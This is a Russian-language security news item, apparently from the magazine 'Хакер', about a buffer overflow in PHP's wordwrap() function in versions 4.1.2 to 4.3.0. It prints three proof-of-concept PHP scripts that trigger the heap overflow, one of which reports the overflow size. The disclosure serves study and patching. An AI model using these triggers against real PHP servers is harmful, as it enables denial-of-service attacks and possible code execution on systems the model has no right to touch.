Наши продукты

Все выпуски в PDF →
  • Годовая подписка на Xakep.ru

    Все статьи, PDF-архив, скидки и другие бонусы

    6000₽ в год

    Подписаться
  • Ежеквартальный «Хакер» #4

    Печатный выпуск за август–ноябрь 2026 года

    2000₽

    Заказать
  • Ежеквартальный «Хакер» #3

    Печатный выпуск за май–июль 2026 года

    2000₽

    Заказать
  • Спецвыпуск «Хакера» #4

    Избранные материалы 2021–2022 годов на бумаге

    2000₽

    Заказать

Обнаружено переполнение буфера в PHP функции "wordwrap" в PHP версиях выше 4.1.2 и ниже 4.3.0. 

Если параметры к функции wordwrap() передаются из пользовательского ввода, то уязвимость может использоваться удаленно для выполнения произвольного кода или DoS атаки. По сообщением, успешная эксплуатация для выполнения произвольного кода затруднительна, но теоретически возможна. Несколько работающих эксплоитов: 

1. 

<?php 
$x = "ADV:CLAIM YOUR FORTUNE NOW !!MAKE"; 
$x .= " xxxxxxxxxxHUNDREDS OF THOUSANDSxxxxxxxxxxxx"; 
$b = "CANITBREAKFOO"; 
$x = wordwrap($x, 21, $b, 1); 
$x = wordwrap($x, 21, $b, 1); 
?> 

2. 

<?php 
$x = "ADV:CLAIM YOUR FORTUNE NOW !!MAKE"; 
$x .= " xxxxxxxxxxHUNDREDS OF THOUSANDSxxxxxxxxxxxx"; 
$b = "CANITBREAKFOO"; 
for ($i=0; $i<1000; $i++) { 
$y = wordwrap($x, 20, $b, 1); 
} 
?> 

3. 

<?php 
$part = "1234567890 X "; 
$string = ""; 
for ($i=0; $i<10; $i++) { 
$string .= $part; 
} 

$break = "a-very-long-break-string-to-clobber-the-heap"; 
for ($i=0; $i<8; $i++) { 
$break .= $break; 
} 

$linelength = 10; 
$wrapped = wordwrap($string, $linelength, $break, 1); 

$textlen = strlen($string); 
print("Length of original string: $textlen\n"); 
$breakcharlen = strlen($break); 
print("Length of break string: $breakcharlen\n"); 
$newtextlen = strlen($wrapped); 
print("Length of wrapped string: $newtextlen\n"); 

$buffer = $textlen + 
intval(($textlen/$linelength + 1) * $breakcharlen * 1.1) + 1; 

print("Size allocated by 4.3.0RC2: $buffer\n"); 
$overflow = $newtextlen - $buffer; 
if ($overflow > 0) { 
print ("BUFFER OVERFLOW by $overflow bytes!\n"); 
} 

?> 

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии